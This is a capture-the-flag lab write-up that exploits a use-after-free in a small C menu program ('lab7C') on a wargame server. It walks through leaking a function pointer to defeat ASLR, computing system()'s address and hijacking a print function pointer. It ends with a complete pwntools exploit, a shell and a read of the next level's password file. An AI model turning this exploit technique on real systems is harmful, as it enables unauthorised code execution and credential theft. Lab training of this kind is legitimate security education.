For this lab, we are given a program and its corresponding source code:
/* compiled with: gcc -z relro -z now -fPIE -pie -fstack-protector-all -o lab7C lab7C.c */
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include "utils.h"
#define MAX_STR 6
#define MAX_NUM 6
struct data {
char reserved[8];
char buffer[20];
void (* print)(char *);
};
struct number {
unsigned int reserved[6]; // implement later
void (* print)(unsigned int);
unsigned int num;
};
void small_str(char * a_str)
{
printf("here's your lame string: %s\n", a_str);
}
void big_str(char * a_str)
{
printf("nice big str yo: %s\n", a_str);
}
void small_num(unsigned int a_num)
{
printf("not 1337 enough: %u\n", a_num);
}
void big_num(unsigned int a_num)
{
printf("tite number dawg: %u\n", a_num);
}
void print_menu()
{
printf("-- UAF Playground Menu ----------------------\n"
"1. Make a string\n"
"2. Make a number\n"
"3. Delete a string\n"
"4. Delete a number\n"
"5. Print a string\n"
"6. Print a number\n"
"7. Quit\n"
"---------------------------------------------\n"
"Enter Choice: ");
}
/* bugs galore... but no memory corruption! */
int main(int argc, char * argv[])
{
struct data * strings[MAX_STR] = {0};
struct number * numbers[MAX_NUM] = {0};
struct data * tempstr = NULL;
struct number * tempnum = NULL;
int strcnt = 0;
int numcnt = 0;
unsigned int choice = 0;
unsigned int index = 0;
while(1)
{
print_menu();
/* get menu option */
if((choice = get_unum()) == EOF)
break;
/* make a string */
if(choice == 1)
{
if(strcnt < MAX_STR)
{
tempstr = malloc(sizeof(struct data));
/* no memory corruption this time */
printf("Input string to store: ");
fgets(tempstr->buffer, 20, stdin);
tempstr->buffer[strcspn(tempstr->buffer, "\n")] = 0;
/* pick a print function */
tempstr->print = strlen(tempstr->buffer) > 10 ? big_str : small_str;
/* store the string to our master list */
strings[++strcnt] = tempstr;
printf("Created new string!\n");
}
else
printf("Please delete a string before trying to make another!\n");
}
/* make a number */
else if(choice == 2)
{
if(numcnt < MAX_NUM)
{
tempnum = malloc(sizeof(struct number));
printf("Input number to store: ");
tempnum->num = get_unum();
/* pick a print function */
tempnum->print = tempnum->num > 0x31337 ? big_num : small_num;
/* store the number to our master list */
numbers[++numcnt] = tempnum;
printf("Created new number!\n");
}
else
printf("Please delete a number before trying to make another!\n");
}
/* delete a string */
else if(choice == 3)
{
if(strcnt && strings[strcnt])
{
free(strings[strcnt--]);
printf("Deleted most recent string!\n");
}
else
printf("There are no strings left to delete!\n");
}
/* delete a number */
else if(choice == 4)
{
if(numcnt && numbers[numcnt])
{
free(numbers[numcnt--]);
printf("Deleted most recent number!\n");
}
else
printf("There are no numbers left to delete!\n");
}
/* print a string */
else if(choice == 5)
{
printf("String index to print: ");
index = get_unum();
if(index < MAX_STR && strings[index])
strings[index]->print(strings[index]->buffer);
else
printf("There is no string to print!\n");
}
/* print a number */
else if(choice == 6)
{
printf("Number index to print: ");
index = get_unum();
if(index < MAX_NUM && numbers[index])
numbers[index]->print(numbers[index]->num);
else
printf("There is no number to print!\n");
}
/* quit */
else if(choice == 7)
break;
/* base case */
else
printf("Invalid choice!\n");
index = 0;
choice = 0;
printf("\n");
}
printf("See you tomorrow!\n");
return EXIT_SUCCESS;
}
If we run checksec
, we can see that NX, PIE and full RELRO are enabled.
lab7C@warzone:/levels/lab07$ checksec lab7C
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY FORTIFIED FORTIFY-able FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH Yes 0 4 lab7C
The program creates a strings[]
array of 6 pointers to data structs.
Each element in the strings[]
array is a pointer to a data struct.
Similarly, an array of 6 pointers to number structs is created called numbers[]
.
If we examine each struct definition, we notice that they are both 32-bytes large. (chars each take up 1 byte, unsigned ints each take up 4 bytes)
struct data {
char reserved[8];
char buffer[20];
void (* print)(char *);
};
struct number {
unsigned int reserved[6]; // implement later
void (* print)(unsigned int);
unsigned int num;
};
This is interesting because this means that the memory allocater will likely reallocate chunks for number structs from freed data structs and vice-a-versa. This kind of condition is usually a precursor to use-after-free scenarios, in which an object is freed and then a different type of object is allocated over it, but a reference to the original object still exists.
In order to defeat ASLR, we need to look for an infoleak that we can use.
Infoleak
We can get an infoleak if we allocate a number struct, free it, allocate a data struct over it with a small string, and print the freed number.
The number that is printed out should be the address stored in the data
struct’s void (* print)(char *);
member, which, because we used a small string, should be the address of small_str()
.
gdb-peda$ x/32x 0xb93da008
0xb93da008: 0x00000000 0x00000000 0x42424242 0x00000000
0xb93da018: 0x00000000 0x00000000 0xb77e3c65 0xb77e3bc7
0xb93da028: 0x00000000 0x00020fd9 0x00000000 0x00000000
^ 0xb93da018
holds the address of small_str()
, which the number
struct thinks is its num
member!
With the address of this function in the .text section, we can use a known offset to calculate the address of system()
in libc. (Note: This is actually a flaw with Ubuntu. When PIE is enabled, the distance between the base address of the ELF executable and the base address of libc should change with each run. However, Ubuntu’s ASLR sucks which allows us to calculate the base address of libc from just the base address of the ELF executable)
EIP Control
Once we’ve leaked the address of system()
, we need to call it while passing in /bin/sh
as its argument. We can do this by again taking advantage of the use-after-free vulnerability.
To recap, so far we have a data
chunk sitting on top of what used to be a number
chunk. From here, in order to get code execution, we can overwrite this data
chunk’s void (* print)(char *);
member by freeing it, allocating a number
chunk over it using the address of system()
as the number, and then printing the now free’d but still in-use data
chunk.
Of course, in order for us to get a shell, we will need to have passed in /bin/sh
as the string for this data
struct from the first time it is allocated. We can redo this step if necessary in order to call system("/bin/sh")
and spawn a shell.
Putting everything together, the following exploit will grant us a shell.
Solution
#!/usr/bin/env python
from pwn import *
import sys
from struct import pack
def exploit(r):
## Infoleak ##
r.recvuntil("Choice:")
r.sendline("2")
r.recvuntil(": ")
r.sendline("10")
r.recvuntil(": ")
r.sendline("4")
r.recvuntil(": ")
r.sendline("1")
r.sendline("/bin/sh")
r.recvuntil(": ")
r.sendline("6")
r.recvuntil(": ")
r.sendline("1")
log.info("Leaking addresses...")
small_str = int(r.recvuntil("\n").split(": ")[2])
log.success("Small_str() @ " + hex(small_str))
system = small_str-0x19da37
log.success("System() @ "+hex(system))
r.recvuntil(": ")
## EIP control ##
r.sendline("3")
r.recvuntil(": ")
r.sendline("2")
r.recvuntil(": ")
#r.sendline("2953575118")
r.sendline(str(system))
r.recvuntil(": ")
r.sendline("5")
r.recvuntil(": ")
r.sendline("1")
log.success('Enjoy your shell...')
r.interactive()
if __name__ == "__main__":
log.info("For remote: %s HOST PORT" % sys.argv[0])
if len(sys.argv) > 1:
r = remote(sys.argv[1], int(sys.argv[2]))
exploit(r)
else:
r = process(['/levels/lab07/lab7C'])
print util.proc.pidof(r)
pause()
exploit(r)
lab7C@warzone:/tmp/lab7C$ python solve.py
[*] For remote: solve.py HOST PORT
[+] Starting program '/levels/lab07/lab7C': Done
[5648]
[*] Paused (press any to continue)
[*] Leaking addresses...
[+] Small_str() @ 0xb7755bc7
[+] System() @ 0xb75b8190
[+] Enjoy your shell...
[*] Switching to interactive mode
$ id
uid=1026(lab7C) gid=1027(lab7C) euid=1027(lab7A) groups=1028(lab7A),1001(gameuser),1027(lab7C)
$ cat /home/lab7A/.pass
us3_4ft3r_fr33s_4re_s1ck
$